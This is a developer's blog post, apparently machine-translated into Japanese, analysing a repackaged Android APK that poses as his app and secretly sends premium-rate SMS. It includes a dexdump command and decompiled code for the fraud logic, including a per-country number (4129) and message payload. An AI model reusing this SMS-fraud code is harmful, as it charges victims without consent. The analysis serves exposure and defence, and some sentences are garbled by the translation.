Android詐欺アプリ。 敵を選ぶ

私はAndroidアプリ開発者であり、 Googleサブスクリプションを使用して最新のリンクをたどっています。 今朝、私は、私のアプリケーションへの新しいリンクがある箱の中に手紙を見つけて幸せでした。 すべてが素晴らしい! そしてレビューは肯定的で、ダウンロード数は0とは異なりますが、何らかの理由でバージョンが古く、... APKのサイズは元の200Kに対して最大3メガバイトです



APKをダウンロードして解凍した後(APKは単なるZIPアーカイブであることを思い出してください)、Fryazino から目撃者と「アプリケーション」自体を含む153個のPNGファイル(何らかの理由で.tempに名前が変更されました)の「詰め込み」を示しました...



予想どおり、元のアプリケーションには何も残っていませんでした。 アイコンもコードもありません。 そして、さらに調査すると(どうやら) androides-os.comのすべてのファイルはまったく同じプログラムです! 異なるセクションからいくつかの異なるプログラムをダウンロードしましたが、それらはすべて同じサイズで同じコンテンツでした!



内部には、リソースの簡単な分析によると、SMSを送信してアクティベーションを要求するアプリケーションであることが判明したものがありました。 どこで何が起こるかを把握してみましょう...







APKから純粋なJavaコードを取得することはできませんが、VM Dalvikから一連の指示を取得できます。VMDalvikは、追加のソフトウェアなしで目で完全に読み取ることができます。 Android SDKのdexdumpユーティリティを使用して、Dalvik命令のセットをファイルにダンプします...



dexdump -d -f -h classes.dex > dump.dump
      
      







アプリケーションがSMSを送信していることを前提としているため、文字列 " sendTextMessage "のダンプを調べてみましょう。これは、テキストメッセージを送信するためのSDK関数です。 検索は成功し、 activate()メソッドに1回出現します



簡単に言えば、このメソッドの主な詳細(dalvik命令の手動の「逆コンパイル」によって取得されます):

  // private HashMap<String, ActivationScheme> activationSchemes; // private static String CURRENT_ACTIVATION_SCHEME = "1"; ActivationScheme o = activationSchemes.get(CURRENT_ACTIVATION_SCHEME); ArrayList<Pair<String, String>> l = o.list; // first -    // second -  ? for(Pair o2: l) { StringBuilder b; String sec = String.valueOf(o2.second); // WTF??? b = new StringBuilder(sec); b.append("+"); String s3 = schemes.get("2"); // private HashMap<String, String> schemes; b.append(s3); String result = b.toString(); // "pair.second"+schemes[2] String frst = o2.first; // v1 // mgr == TelephonyManager mgr.sendTextMessage(frst, null, result, /* PendingIntent.getBroadcast(...) */, null); }
      
      







つまり 行のペアのリストで構成される「アクティベーションスキーム」の特定のセットがあり、その1つはSMSを送信する番号であり、もう1つは送信するものです。

アクティベーションスキームを見つけてみましょう...ダンプには、このコードを見つけることができるinitActivationSchemesメソッドがあります。



  ArrayList al = new ArrayList(); if("250".equals(currentMCC)) { // MCC == Mobile Country Code ArrayList<Pair<String, String>> aP = new ArrayList<Pair<String, String>>(); Pair<String, String> p = new Pair<String, String>("4129", "bb031"); aP.add(p); p = new Pair<String, String>("4129", "bb031"); aP.add(p); ActivationScheme sc = new ActivationScheme(aP); activationScheme.put(CURRENT_ACTIVATION_SCHEME, sc); }
      
      







つまり ロシア( MCC == 250 )の場合、2つのSMSを番号4129に送信することでアクティベーションスキームが作成されます... MCC 250に加えて、このメソッドには他の国コードがあり、それに応じてアクティベーションスキームがあります。 国ごとに、特定の支払番号が選択されました。



ここには混乱があります。 250がロシアであるという事実にもかかわらず、4129番(少なくとも私が見つけた情報から)はウクライナ人としての道を歩んでいます。 「逆コンパイル」中に間違いを犯し、誤ってウクライナのコードをロシアのブロックに「書き」ました...



実際にアプリケーションがどのように見えるか...

インストールはそれです:





起動時には、すべてが非常に簡単です。





「オファー」もあります。





同じ「オファー」はここで入手できるようです: http : //depositfmobi.ru/ofert

アプリケーションパッケージの名前com.depositmobiでサイトにアクセスしました。



興味深いのは、depositmobiとQIP.FilesRapidshareを同時に使用することです!



結果は何ですか? 詐欺の非常に簡単な方法。 Webサイトを作成し、必要なキーワードでSEOをポンプし、テーマニュースをそこに送り、SMSを有料番号に送信するための最も簡単なプログラムを入力し、お尻をカバーする「オファー」を提供します。



All Articles